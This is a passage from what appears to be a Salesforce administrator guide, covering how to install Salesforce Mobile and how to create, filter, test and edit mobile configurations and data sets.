2. Download the installer. If your phone has a touch screen: a. Tap the Download the application link. b. Verify that the Open file after download checkbox is selected in the Download dialog. c. Select Yes. If your phone does not have a touch screen: a. Select Download, then select Yes. b. After the application downloads, select Done. 3. Return to the phone's home page. From the Start menu, select Salesforce Mobile or Mobile Lite from the list of installed programs. 4. Read the license agreement and select I Accept. 5. Enter your Salesforce username and password. 6. Select Activate. After your username and password are confirmed by Salesforce, the data downloads, and the icon pulses to show activity. The initial data download may last a few minutes. Future updates to the data occur automatically. Note: Mobile Lite activations may show an error if you have complex page layouts or a large number of custom fields. 7. After your records have been downloaded to the device, the login screen appears. The mobile application remembers your username and only prompts you for your password. Enter your password, and select Login.

982

Salesforce Mobile

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

Zero-Administration Mobile Deployment


If you have been assigned a mobile license but your administrator has not set up your mobile configuration, you can sign up for Salesforce Mobile with the default mobile configuration. The default configuration automatically synchronizes the records you most recently accessed in Salesforce to your mobile device. You can also search for and download any records from Salesforce that are not available locally on your device. Before you activate the mobile application with the default configuration: Review your personal setup to find out if your user account has been assigned a mobile license. If the Mobile User checkbox is selected but the Mobile Configuration field is blank, you can activate Salesforce Mobile using the default mobile configuration. Verify that your device is supported and can run the mobile client application. Install the client application.

See Also:
Salesforce Mobile Overview

Downloading Salesforce Mobile Over-the-Air from Salesforce.com


Available in: All Editions except Database.com

The BlackBerry App World is the preferred place for downloading the Salesforce Mobile app because users are automatically notified as upgrades become available. However, some BlackBerry administrators restrict users from downloading and using the BlackBerry App World on their devices. BlackBerry users can install Salesforce Mobile over-the-air directly from Salesforce.com if they are unable to access BlackBerry App World. To download Salesforce Mobile over-the-air: 1. Point your mobile browser to mobile.salesforce.com/bb. 2. Highlight the Download the application link and select Get Link from the menu. 3. Select Download. If prompted to replace an older version of the client application, select Yes. Note: The minimum BlackBerry operating system requirement for the mobile application is 4.3. If you're running versions 4.04.3 of the operating system, you can still download and install the mobile application; however, the mobile server will detect the older operating system and send version 11.6 of the mobile application, which was the last release that supported operating system versions 4.04.3. You can't use any of the new features included in the current release or future releases until you upgrade to the most recent BlackBerry operating system for your phone. 4. Select Reboot to restart your device. 5. When prompted to allow an HTTP connection, select the tp.mobile.salesforce.com checkbox. Scroll down and select Allow this connection. 6. Select the Salesforce Mobile icon, which resides on the home page of your device or in the Applications folder. On newer phones, the icon may be in the Downloads folder. 7. Read the license agreement and select I Accept. 8. Enter your Salesforce username and password.

983

Salesforce Mobile

Managing Mobile Configurations

Because many passwords contain special characters that are difficult to enter on the device, the Show Password checkbox is selected by default. To protect your password, you can deselect the option. 9. Select Activate. After your username and password are confirmed by Salesforce, the data downloads. The initial data download may last a few minutes. Future updates to the data automatically occur behind the scenes.

Managing Mobile Configurations


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To create, change, or delete mobile configurations: View Setup and Configuration Manage Mobile Configurations

To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are sets of parameters that determine the data Salesforce transmits to users' mobile devices, and which users receive that data on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while another mobile configuration sends cases to customer support representatives. Administrators should note that a default mobile configuration is provided for Professional, Enterprise, Unlimited, and Developer Edition organizations. Administrators cannot view or edit the default configuration. To manage your Salesforce Mobile configurations, click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations. To define a mobile configuration on page 989, click New Mobile Configuration. To creating data sets for a mobile configuration on page 992, click the name of the mobile configuration, then click Edit in the Data Sets related list. To change the properties of mobilized objects on page 1000, click the name of the mobile configuration, then click Edit next to an object name in the Mobile Object Properties related list. To customize mobile configuration tabs on page 1004, click the name of the mobile configuration, then click Edit in the Mobile Tabs related list. To create custom view for a mobile configuration on page 1002, click the name of the mobile configuration, then click Edit in the Mobile Views related list. To make changes to a mobile configuration, click Edit. To delete a mobile configuration, click Del. To view details about a mobile configuration, click its name. To clone a mobile configuration, select the mobile configuration you want to clone and click Clone. To activate a mobile configuration, click Edit next to the mobile configuration you want to activate, select Active, and click Save. Deselect Active to deactivate the mobile configuration.

984

Salesforce Mobile

Managing Mobile Configurations

Note: After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register their mobile devices. The registration process creates device records in Salesforce, which allows you to manage your organization's mobile devices.

See Also:
Salesforce Mobile Overview Sample Data Sets Salesforce Mobile Implementation Guide Creating Mobile Links Sending Emails to Mobile Users Managing Mobile Devices Viewing Mobile Device Information Setting Mobile Session Timeout Values Erasing Mobile Data

Implementation Tips
Building Lean Data Sets Keep the data sets in your mobile configurations as small as possible. Not only do lean data sets greatly improve the application's performance, but they also make the application easier to usepushing massive amounts of data to the device might seem like a good idea, but the important records tend to get lost among the ones that aren't relevant to users' day-to-day activities. Small data sets are powerful because the mobile application synchronizes with Salesforce every 20 minutes, so the data is constantly refreshed with new and updated records. Even if your mobile configurations don't account for every possible record your users might need, they can search for records that aren't automatically synchronized to their devices. To build small data sets: Nest the objects in the data set tree. For example, add contacts as a child data set of the account object so that the data set includes contacts related to the mobilized accounts instead of all the user's contacts. Avoid setting the record ownership filter to All Records unless your organization uses a private sharing model. It's unlikely that users need to see all of an object's records on their devices. Instead of mobilizing all opportunity records, for example, mobilize just the opportunities owned by the user or the user's opportunity team. Use filters that synchronize the most relevant records. For example, even if you limit the opportunities on the device to records owned by the user, you could further prune the data set by mobilizing only opportunities closing this month. Set a record limit to prevent the data set from getting too large. Generally, a single data set should generate no more than 2,500 records. Another way to build lean data sets is to mobilize the Salesforce recent items list, add the data sets, and set the record ownership filters in your data sets to None (Search Only). The user's data set is populated with records recently accessed in Salesforce, and those records in turn synchronize additional data based on the data set hierarchy. For example, let's say you create a data set with the account object at the root level and add the contact, task, and event objects as child data sets. When the mobile application synchronizes an account from the Salesforce recent items list, it also synchronizes the contacts, tasks, and events related to that account. If you're not sure which fields to use as filters for your data sets or mobile views, consider using the Last Activity Date field. For example, set up a filter that synchronizes contacts with an activity logged this week or this month. The Last

985

Salesforce Mobile

Managing Mobile Configurations

Activity Date field is a better indicator of a record's relevance than the Last Modified Date fieldoften the main detail of a record remains unchanged even though users frequently log related tasks and events. Mobilizing Records Users Need Before mobilizing a custom object, make sure the object's functionality is compatible with the mobile application. The mobile application does not support s-controls, mashups, merge fields, image fields, or custom links. To obtain a relevant set of activities, mobilize the task and event objects at the root level of the data set hierarchy and nest them under parent objects, like contacts, accounts, and opportunities. Adding tasks and events at multiple levels ensures that users will see their personal activities and activities related to the records on their devices. Avoid mobilizing too much activity history or too many tasks and events not owned by the user. Generally, there are more task and event records in an organization than any other type of record, so it's easy to bloat data sets with too many activities. If your sales representatives frequently take orders in the field and need a comprehensive inventory list, add the product object at the root level of the data set hierarchy. Nesting the opportunity product object below the opportunity object won't mobilize all products. If your users need to assign tasks to other users or change the record owner, mobilize the user object so that the names of other users will be available on the device. Avoid mobilizing all user recordsinstead, set up filters based on the role or profile. Be sure that users assigned to a mobile configuration have field-level access to all the fields used in the configuration's filter criteria. If a user doesn't have access to a field in a data set's filter criteria, the mobile application won't synchronize the records for that data set or its child data sets. You can sometimes use cross-object formula fields to work around limitations of the mobile application. For example, the mobile application doesn't support campaigns, so you can't add the campaign object as a data set and add the opportunity object as its child data set to get the related records. However, you can create a text formula field on the opportunity object equal to the name of the parent campaign. The field needs to be visible, but it doesn't need to be included on your page layouts. Then add the opportunity object to the data set and use the new formula field to filter opportunities related to a specific campaign. Although a mobile configuration might include an object at multiple levels in the data set hierarchy, users won't see duplicate tabs in the mobile application. Only one Task tab appears on the device even if you mobilize the task object at the root level and as a child data set of three objects.

Customizing Mobile Configurations Clean up your mobile page layouts by excluding fields from the objects in the mobile configuration. Less data is sent to the device, and mobile users don't have to scroll through unnecessary fields. If you mobilize the Dashboards tab, be sure to select any other tabs that should appear in the mobile application. Customizing the tabs for a mobile configuration overrides the default tab setif you only mobilize the Dashboard tab, it will be the only tab sent to the device. The Windows Mobile application doesn't include a standard view for tasks that displays today's tasks. To provide this view to Windows Mobile users, create a custom mobile view with these filter criteria: Assigned To equals $User.ID Due Date equals TODAY To create a view that displays tasks due this week instead of the current day, substitute THIS WEEK for TODAY. Due to the small size of mobile device screens, you can only select two display columns for mobile views. If you need three columns of data, create a text formula field on the object that concatenates the three fields, then use the formula field in the mobile view criteria. When creating mobile views, you can filter based on the current user with the $User.ID global variable, but you can't enter a user's name as a value in the filter criteria. To build a view based on users, create a text formula field on the appropriate object, then use the formula field in the mobile view criteria. For example, to create a view that displays opportunities

986

Salesforce Mobile

Managing Mobile Configurations

owned by an opportunity team, create a text formula field on the opportunity object that contains the opportunity owner's user ID or role, then create a view that filters on values in that field. Testing and Deploying the Mobile Product It's important to test mobile configurations to make sure they're synchronizing an acceptable amount of data. Test configurations against active users who own a very large number of records. Typically, most data sets generate between 500 KB and 4 MB of data. If the data sets are over 4 MB, refine the filter criteria to limit the amount of data sent to the device. You can use the mobile application in the sandbox before deploying to your organization. Use of the mobile application requires a data plan. The wireless data volume for the mobile application varies greatly between customers and even users in the same organization. It's impossible to predict your organization's data usage, but we can offer some guidelines: The initial data download consists of records that match the criteria specified in the user's mobile configuration and the metadata needed to support these records when disconnected. On average, the data sizes range from 500 KB4 MB. After the initial download of data, incremental update requests are initiated by the client application every 20 minutes. Each of these requests and the corresponding server response are approximately 200 bytes. If any new data is downloaded to the client application as a result of the update request, only the new or changed values are sent. For example, the application only downloads the new phone number in a contact record, not the entire contact record. The amount of data transmitted differs for every organization and every user. Generally, the volume of data transmitted by the mobile application is low compared to moderate email usage. If you're deploying to BlackBerry users, evaluate your corporate network infrastructure before implementing the mobile solution.

Best Practices
Use the zero-administration deployment option to experiment with the mobile application before you set up mobile configurations. You'll create better blueprints for your mobile configurations if you've tried using the mobile application. Talk to users about their favorite reports, views, and dashboards to get ideas for what filter criteria to use in mobile configurations. After setting up mobile configurations, deploy the mobile application on a limited basis with a select group of users. Adjust the mobile setup based on their feedback, then deploy to all of your users.

About the Default Mobile Configuration


Available in: All Editions except Database.com

Mobile configurations are sets of parameters that determine what data Salesforce transmits to users' mobile devices and which users receive the data on their mobile devices. A default mobile configuration is provided for Professional, Enterprise, Unlimited, and Developer Edition organizations. Administrators cannot view or edit the default mobile configuration. The default mobile configuration serves two purposes:

987

Salesforce Mobile

Managing Mobile Configurations

It allows users with an assigned mobile license to install and activate Salesforce Mobile, even if their administrators have not yet assigned them to a mobile configuration. Warning: To prevent users from activating Salesforce on their mobile devices before you are ready to deploy mobile in your organization, remove the mobile license from your user accounts by editing the user records and deselecting the Mobile User checkbox.

It allows users without an assigned mobile license to install and activate Mobile Lite, which is the free version of Salesforce Mobile. To prevent users from activating Mobile Lite on their mobile devices, disable Mobile Lite for your organization by editing your mobile settings.

The default configuration can mobilize the following objects: Accounts Assets Cases Contacts Dashboards Events Leads Opportunities Reports Solutions Tasks

The default configuration automatically synchronizes records the user recently accessed in Salesforce. Users can search for records that are not automatically synchronized; once the user downloads a record, the record becomes a permanent part of the data set. In addition to recently accessed records, the default configuration synchronizes activities closed in the past five days and open activities due in the next 30 days. Note: Assets are not available as a tab in the mobile application. Assets display as a related list for accounts, cases, and contacts. Dashboards are not available in the Windows Mobile client application.

988

Salesforce Mobile

Creating Mobile Configurations

Creating Mobile Configurations


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To create, change, or delete mobile configurations: View Setup and Configuration Manage Mobile Configurations

To create a mobile configuration: 1. 2. 3. 4. 5. Enable Users for Salesforce Mobile Enter Basic Information Assign Users and Profiles Set Total Data Size Limit Complete Your Mobile Configuration Note: If your organization enabled Mobile Lite, you don't need to create any mobile configurations. Mobile Lite users are assigned to a default mobile configuration when they activate their Salesforce account from a mobile device. You can't view or edit the default mobile configuration.

Enable Users for Salesforce Mobile


Before creating your mobile configurations, plan which profiles and users you want to assign to each configuration. Each mobile configuration only affects the mobile devices of users assigned to the configuration. You can assign individual users and profiles to each mobile configuration. If you assign a profile to a mobile configuration, the mobile configuration applies to all Salesforce Mobile users with that profile unless a specific user is assigned to another mobile configuration. Tip: For ease of administration, we recommend that you assign mobile configurations to profiles; however, you may have situations in which you need to assign a configuration directly to individual users. For each user you want to assign to a mobile configuration: 1. Edit the user's record. 2. Select the Mobile User checkbox to allocate a mobile license to the user. This checkbox is enabled by default for Unlimited Edition users. The Mobile User checkbox doesn't apply to Mobile Lite users because they can access Salesforce from their device without a mobile license. To prevent Salesforce Mobile users from activating Salesforce on their mobile devices before you are ready to deploy mobile in your organization, disable the checkbox for all your users. If you deselect this checkbox for a user who is already assigned to a mobile configuration, Salesforce removes that user from the mobile configuration. For information on the Mobile User checkbox, see User Fields on page 32.

989

Salesforce Mobile

Creating Mobile Configurations

For each custom profile to which mobile users are assigned, edit the profile to include the API Enabled permission. Mobile users need access to the API so that their wireless devices can communicate with Salesforce. The API Enabled permission is enabled by default on standard profiles. For information on editing profiles, see User Profiles Overview on page 525.

Enter Basic Information


1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations to access the mobile configurations list page. 2. Click New Mobile Configuration. 3. Enter a name for the mobile configuration. 4. Select the Active checkbox if you want to activate the mobile configuration immediately after creating it. The mobile configuration does not work until you select this checkbox. If you deactivate an active mobile configuration, Salesforce saves all requests from devices of the users assigned to the mobile configuration for up to one week. If you reactivate the mobile configuration, Salesforce executes those requests in the order received. 5. Optionally, enter a description for the mobile configuration. 6. Optionally, select the Mobilize Recent Items checkbox to mark recently used records in Salesforce for device synchronization. Selecting this option ensures that mobile users assigned to the configuration will not have to search for and download items they recently accessed on Salesforce, even if those records do not meet the configuration's filter criteria. Only records belonging to mobilized objects can be marked for device synchronization; for example, if you do not mobilize the account object in a configuration, users assigned to that configuration cannot automatically receive recent accounts on their devices. 7. If you select the Mobilize Recent Items checkbox, select a value from the Maximum Number of Recent Items drop-down list. Set a low number if your users have minimal free space on their mobile devices. 8. Optionally, select the Mobilize Followed Records checkbox to automatically synchronize records users are following in Chatter to their mobile device. The device only synchronizes followed records for objects included in the mobile configuration's data set. The Mobilize Followed Records checkbox is only available if Chatter is enabled for your organization.

Assign Users and Profiles


To assign users and profiles to a mobile configuration: 1. In the Search drop-down list, select the type of member to add: users or profiles. This drop-down list is not available if you have not enabled the Mobile User checkbox on any user records, or if all users are already assigned to a mobile configuration; in that case, you can only assign profiles to this mobile configuration. 2. If you do not immediately see the member you want to add, enter keywords in the search box and click Find. 3. Select users and profiles from the Available Members box, and click the Add arrow to add them to the mobile configuration. You can assign each user and profile to only one mobile configuration. The Available Members box only displays users who have the Mobile User checkbox enabled. For information on this checkbox, see User Fields on page 32. 4. If there are users or profiles in the Assigned Members box you do not want to assign to this mobile configuration, select those users and click the Remove arrow. Warning: Removing a user from an active mobile configuration deletes the Salesforce-related data on the user's mobile device but does not delete the client application.

990

Salesforce Mobile

Creating Mobile Configurations

Set Total Data Size Limit


Different types of mobile devices offer different memory capacities, and some devices experience serious problems if all of the flash memory is used. To avoid overloading mobile devices, optionally specify a total data size limit for each mobile configuration. The total data size limit prevents Salesforce from sending too much data to the mobile devices of users assigned to the mobile configuration. To set the total data size limit, use the Don't sync if data size exceeds drop-down list to specify the amount of memory that is consistently available on the mobile devices of users who are assigned to this mobile configuration. If the combined size of all the data sets exceeds this limit, users assigned to this profile receive an error message on their mobile devices, and Salesforce will not synchronize any data sets in this mobile configuration. Test your mobile configuration to make sure the data sets do not exceed the total data size limit. Tip: To reduce the size of your data, do one or more of the following: Delete a data set. Reduce the scope of your data sets. Refine the filter criteria of your data sets.

Complete Your Mobile Configuration


Click Save when you are done. Note that your mobile configuration is not active until you select the Active checkbox. Next, define the data sets for this mobile configuration to determine the data that members of the mobile configuration receive on their mobile devices and test the configuration to verify that the data size limit for a user's device will not be exceeded. After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register their mobile devices. The registration process creates device records in Salesforce, which allows you to manage your organization's mobile devices.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations Sending Emails to Mobile Users Managing Mobile Devices Chatter Mobile App Overview

991

Salesforce Mobile

Defining Data Sets

Defining Data Sets


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile data sets: To create, change, or delete mobile data sets: View Setup and Configuration Manage Mobile Configurations

Accessing Salesforce from a mobile device is very different than accessing it from your computer. This is because mobile devices generally have less memory and screen size than computers, and they do not maintain a constant network connection. To work with these limitations, each mobile configuration only transfers data sets, which are subsets of the records users access in the Salesforce online user interface. Mobile devices store data sets in on-board databases, allowing users to access their most important records and work offline when no network connection is available. Salesforce automatically synchronizes the on-board databases when the mobile device reestablishes a network connection. Each data set can contain records related to a single object and is classified by the name of that object. For example, the Accounts data set only includes account records. Data sets can have child data sets, which are data sets that contain records associated with a top-level (parent) data set. For example, if the first level of your hierarchy has an Accounts data set, you can add a Contacts child data set that includes all contact records related to the account records. Child data sets appear as related lists on mobile devices. A single mobile configuration can have multiple data sets for the same object and at different levels. For example, you can have an Events parent data set and an Events child data set under Leads. Tip: Review the sample data sets to see how you might define data sets for common groups of Salesforce users.

After creating a mobile configuration, you must define its data sets. To access the data sets for a mobile configuration: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and click the name of the mobile configuration you want to modify. 2. In the Data Sets related list, click Edit. 3. From the Data Sets page, you can: Add a data set. Remove a data set by selecting the data set you want to remove and clicking Remove. Edit a data set by selecting the data set you want to edit in the hierarchy. The right pane displays the filters for that data set. Test your mobile configuration.

As you define and modify the data sets, Salesforce automatically saves your changes. 4. Click Done when you are finished.

Adding Data Sets


To add a data set:

992

Salesforce Mobile

Defining Data Sets

1. In the hierarchy, select Data Sets to create a parent data set, or select an existing data set to create a child data set. 2. Click Add.... 3. In the popup window, select the object for the records you want the data set to include. Salesforce lets you create parent data sets for all custom objects and the following standard objects: Accounts Assets Attachments Cases Contacts Content Events Leads Notes Opportunities Price Books Products Solutions Tasks Users Note: Although attachments are available as a data set, they're only supported in Salesforce Mobile for Windows Mobile. Salesforce Mobile for iPhone and BlackBerry don't currently support attachments. The Windows Mobile application does not currently support solutions. Salesforce Mobile supports default field values only for picklists and multiselect picklists. Default field values for other types of fields, such as checkboxes and numeric fields, do not appear in Salesforce Mobile.

When adding to an existing data set, the popup window displays any object with a relationship to the selected object. This includes child objects, and also parent objects with a master-detail or lookup relationship to the selected object. For example, assume you created an account field called Primary Contact with a lookup relationship to the contact object. If you add Account as a top-level data set in a mobile configuration, you see two sets of contacts when you add Contact below Account: Contact: Represents the standard relationship between the account and contact objects. Contact (Referenced by Account): Represents any object that is the parent in a lookup or master-detail relationship for the selected object. In this case, the contact object is referenced by the Primary Contact field on the account object.

Because Salesforce distinguishes between these two types of relationships, you could, for example, mobilize just the contacts referenced by a custom account field without sending any child contact records to the device. 4. Click OK. The data set you created appears in the hierarchy. 5. Optionally, use filters to restrict the records that a parent or child data set includes: a. Use the Filter by Record Ownership options to configure Salesforce to automatically synchronize records based on the owner of the record. The possible options are:
All Records: Salesforce automatically synchronizes all records the user can access. The All Records option

is not available for tasks and events when they are parent data sets in a mobile configuration. This helps prevent failed data synchronization due to activity filter queries that take too long to run. User's Records: Salesforce automatically synchronizes all records the user owns.

993

Salesforce Mobile

Defining Data Sets

User's Team's Records: Salesforce automatically synchronizes all records owned by the user and the user's

subordinates in the role hierarchy.


User's Account Team's Records: Salesforce automatically synchronizes accounts for which the user is an

account team member, but does not include accounts owned by the user. User's Opportunity Team's Records: Salesforce automatically synchronizes opportunities for which the user is an opportunity team member, but does not include opportunities owned by the user. None (Search Only): Salesforce does not automatically synchronize any records for this data set; however, users can use their mobile devices to search all of the records they can access.

Salesforce only displays options that relate to the selected data set. For example, selecting an account data set displays the User's Account Team's Records option, while selecting an opportunity data set displays the User's Opportunity Team's Records option. If your mobile needs for an object require a combination of the available record ownership filters, you can add the same object data set up to four times on the same hierarchy level. For example, a sales manager might want to synchronize his opportunities, opportunities owned by his subordinates, and opportunities for which he is an opportunity team member. In this case, you would add an opportunity data set and select User's Team's Records, then add a second opportunity data set at the same level in the hierarchy and select User's Opportunity Team's Records. Note that objects with only one ownership filter option, such as Case Comment, cannot be added multiple times at the same level of the hierarchy. b. Set the filter criteria to automatically synchronize only records that meet specific criteria in addition to the Filter by Record Ownership option you selected. For example, you can set the filter to only include opportunity records with amounts greater than $50,000, or contact records with the title Buyer. You can use special date values in your filter conditions for mobile configurations. Additionally, several $User global variables are available in mobile filters. Click Add Filter Logic to change the default AND relationship between each filter. c. To prevent a single data set from consuming all the memory on a mobile device, select the second radio button under Set Max Record Limit and enter the maximum number of records this data set can transfer to mobile devices. Use the Order By and Sort drop-down lists to specify which records are synchronized if the data size limit is exceeded. If the limit is reached, Salesforce updates the records currently on the mobile device approximately every 20 minutes, and replaces the records approximately every 24 hours in accordance with the Order By and Sort settings. For example, if the settings are Last Modified Date and Descending, Salesforce transfers the most recently modified records to mobile devices and removes the same number of records that were least recently modified. If you selected the None (Search Only) Filter by Record Ownership option, the limit you set does not apply because no records are automatically synchronized. Tip: Do not use Set Max Record Limit in place of filters. Only use Set Max Record Limit as a safety mechanism, and use filters as the primary means of limiting the number of records on a mobile device. This ensures that your mobile users receive the correct records on their devices. Because of the memory restrictions of mobile devices, Salesforce prevents a single query from returning more than 2,500 records. 6. Be sure to test your mobile configuration to make sure the data does not exceed the total data size limit. 7. Click Done when you are finished.

994

Salesforce Mobile

Defining Data Sets

8. After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register their mobile devices. The registration process creates device records in Salesforce, which allows you to manage your organization's mobile devices.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations Editing Mobile Object Properties Managing Mobile Views Managing Mobile Tabs Sending Emails to Mobile Users Managing Mobile Devices Setting Up Mobile Content

Merge Fields for Mobile Filter Criteria


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

Some of the $User merge fields are available when defining filters for mobile configurations and mobile custom views. In mobile configurations, you can use these merge fields to synchronize records where the user is linked to a record but is not the record owner. For example, you can send cases created by the current user to the mobile device, or you can send records to the device where the current user is referenced in a custom field. In mobile views, you can use the merge fields to define view based on the record owner; for example, you might create a view that displays the current user's accounts with a rating of Hot. The following table describes the available user merge fields: Merge Field
$User.ID

Description References the ID of the current user. This merge field can be applied to fields that contain a user lookup. The valid operators for this merge field are Equals and Not Equal To. When creating mobile view filters that reference an owner field, you can only use the $User.ID merge field. References the username of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With. References the first name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To,

$User.Username

$User.Firstname

995

Salesforce Mobile

Defining Data Sets

Merge Field

Description Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With.

$User.Lastname

References the last name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With. References the first and last name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With.

$User.Fullname

See Also:
Managing Mobile Configurations Understanding Global Variables Salesforce Mobile Overview

Sample Data Sets


Many administrators create mobile configurations based on the functional groups in their organization because users in the same group usually have similar mobile requirements for data. Below are sample data sets for common Salesforce groups. Your mobile users have unique needs, but you can use the examples as a reference to help you get started with mobile configurations. Sales Manager Sales managers usually need to see records they own and also the records of their subordinates. They also tend to closely monitor large deals in the pipeline. This mobile configuration allows sales managers to see: The opportunities they own. The opportunities owned by users who report to them in the role hierarchy. All opportunities scheduled to close in the current quarter with an amount greater than $100,000. All accounts related to the opportunities. A subset of their contact and activity records.

996

Salesforce Mobile

Defining Data Sets

Figure 3: Sample Mobile Configuration for Sales Managers Sales Engineer The sales engineer mobile configuration retrieves opportunities owned by the other members of the user's opportunity team, but does not include the user's records. The configuration is opportunity-based because all accounts and contacts sent to the device are related to the opportunities. The sales engineers would see activity history related to the opportunities on the device and also their own activities.

Figure 4: Sample Mobile Configuration for Sales Engineers Account Executive This account executive mobile configuration is account-based, which means the device pulls down the user's accounts and opportunities related to those accounts. The opportunities are filtered so that only open opportunities scheduled to close in the current quarter appear on the device. The Task and Event child data sets retrieve all activities related to those opportunities, not just the user's activities. Only open tasks and events from a two-month window are sent to the device. The Task and Event parent data sets pull down just the user's activities and restrict the activities to open tasks and events scheduled for the next 30 days. The Contact data set delivers the user's contact records, but limits the record count to the 500 most recently active contacts.

Figure 5: Sample Mobile Configuration for Account Executives

997

Salesforce Mobile

Testing Mobile Configurations

Customer Support Representative Customer support representatives are focused primarily on cases and solutions. This mobile configuration delivers all open cases to the user's device, along with related accounts, contacts, case comments, case history, tasks, and events. The Case Solution child data set sends all solutions related to the cases, and the Solution data set lets the user search for solutions from the Solutions tab on the device. The support representatives also have access to a subset of their activity records.

Figure 6: Sample Mobile Configuration for Customer Support Representatives

See Also:
Salesforce Mobile Overview Managing Mobile Configurations

Testing Mobile Configurations


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile data sets: To test mobile configurations: View Setup and Configuration Manage Mobile Configurations

When you create a mobile configuration, you specify a total data size limit for the configuration. The total data size limit prevents Salesforce from sending too much data to the mobile devices of users assigned to the mobile configuration. After defining the data sets, it is important to test the mobile configuration to make sure the total data size limit is not exceeded. To estimate the size of the data set that the mobile configuration will deliver to a user's device:

998

Salesforce Mobile

Testing Mobile Configurations

1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and click the name of the mobile configuration you want to test. 2. In the Data Sets related list, click Edit. 3. In the Test Data Size section, click the lookup icon next to the Select a user field to choose the user you want to test. While users must be mobile-enabled in order to assign them to mobile configurations, you can test the configuration's data size against any user account. The Select a user field defaults to the name of the user currently logged in; however, it is important to test a mobile configuration with the accounts of users who will actually be assigned to the configuration, particularly users who own a large number of records. 4. Select the Include metadata checkbox to include metadata in the estimate. Metadata consists of page layout and schema information, and the amount of metadata sent to a device can be very high depending on the size of your organization and the complexity of its setup. Warning: It might take a while for Salesforce to calculate the metadata size in addition to the data size. Even if you choose to hide the metadata in your test results, the metadata is still factored into the total data size when the mobile device synchronizes with Salesforce. 5. Click Estimate Data Size. The size of each data set is calculated. Results display in the hierarchy tree, which is the left pane of the data set region at the top of the page. Additional results appear in the Test Data Size section below the hierarchy. In the hierarchy tree, two numbers appear next to each data set. The first represents the number of records generated by the data set, and the second represents the total size of the data set in bytes or kilobytes. This breakdown is useful for identifying which data sets might require additional filtering criteria to reduce the size. The Test Data Size section provides an estimate of the data that the current mobile configuration would deliver to the selected user's device, including: The size and number of records in each object's data set. The total size and number of records, which includes records in the data set and marked records. A marked record is a record that is not part of a user's mobile configuration. There are two ways marked records can become part of the data set: The user downloads records to his or her device through online searches, and the records are flagged so that they get sent to the user's device every time the device synchronizes with Salesforce. Records in the user's data set contain lookup fields to records that do not match the mobile configuration's filter criteria. Salesforce synchronizes the records referenced in the lookup fields so that users do not encounter broken links in the mobile application. Tip: For an accurate count of the marked records, synchronize the data in the mobile application before estimating the data size. To synchronize the data: In the BlackBerry application, open the menu and select System Info, then open the menu and select Refresh All Data. In the iPhone application, tap More, then tap App Info. Tap Sync Now, then tap Refresh All Data. In the Windows Mobile application, select Options > System Info, then select Actions > Refresh All Data.

999

Salesforce Mobile

Editing Mobile Object Properties

The size of the metadata that would be sent to the device for the user, if you selected the Include metadata checkbox. The total mobilized data set, which is the sum of all the records. Reports are not included in the data size estimate.

6. Compare the test results to the total data size limit that was set for the configuration; the limit is located in the top of the Test Data Size section. Click the size limit to increase or decrease the value on the Edit Mobile Configuration page. If the total data size is below the limit, the selected user can safely be assigned to the mobile configuration. However, keep in mind that the test results are an estimate because different devices have different storage algorithms. If the total data size exceeds the limit, reduce the size of the data by reducing the scope of your data set, refining the filter criteria of your data sets, deleting a data set, or removing fields from the mobile page layout. Repeat the testing process until the data is below the total limit. Note: The data size estimate in the Test Data Size section does not automatically refresh if you edit the data sets. Click Refresh Data Size to update the test results.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations Sending Emails to Mobile Users Managing Mobile Devices

Editing Mobile Object Properties


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To edit mobile object properties: View Setup and Configuration Manage Mobile Configurations

You can change the properties of standard and custom objects in the mobile application. For example, you can restrict the permissions of mobile users, or you can exclude unnecessary fields from the object's mobile page layout. Mobile object properties are customized per mobile configuration. To edit mobile object properties: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations. 2. Click the name of the mobile configuration you want to modify. 3. In the Mobile Object Properties related list, click Edit next to an object name.

1000

Salesforce Mobile

Editing Mobile Object Properties

Only objects you mobilized in the configuration's data set appear in the related list. You cannot change the properties of the user object. 4. From the Edit Mobile Configuration page, you can: Remove Mobile Permissions Customize Mobile Page Layouts

5. Click Save when finished.

Remove Mobile Permissions


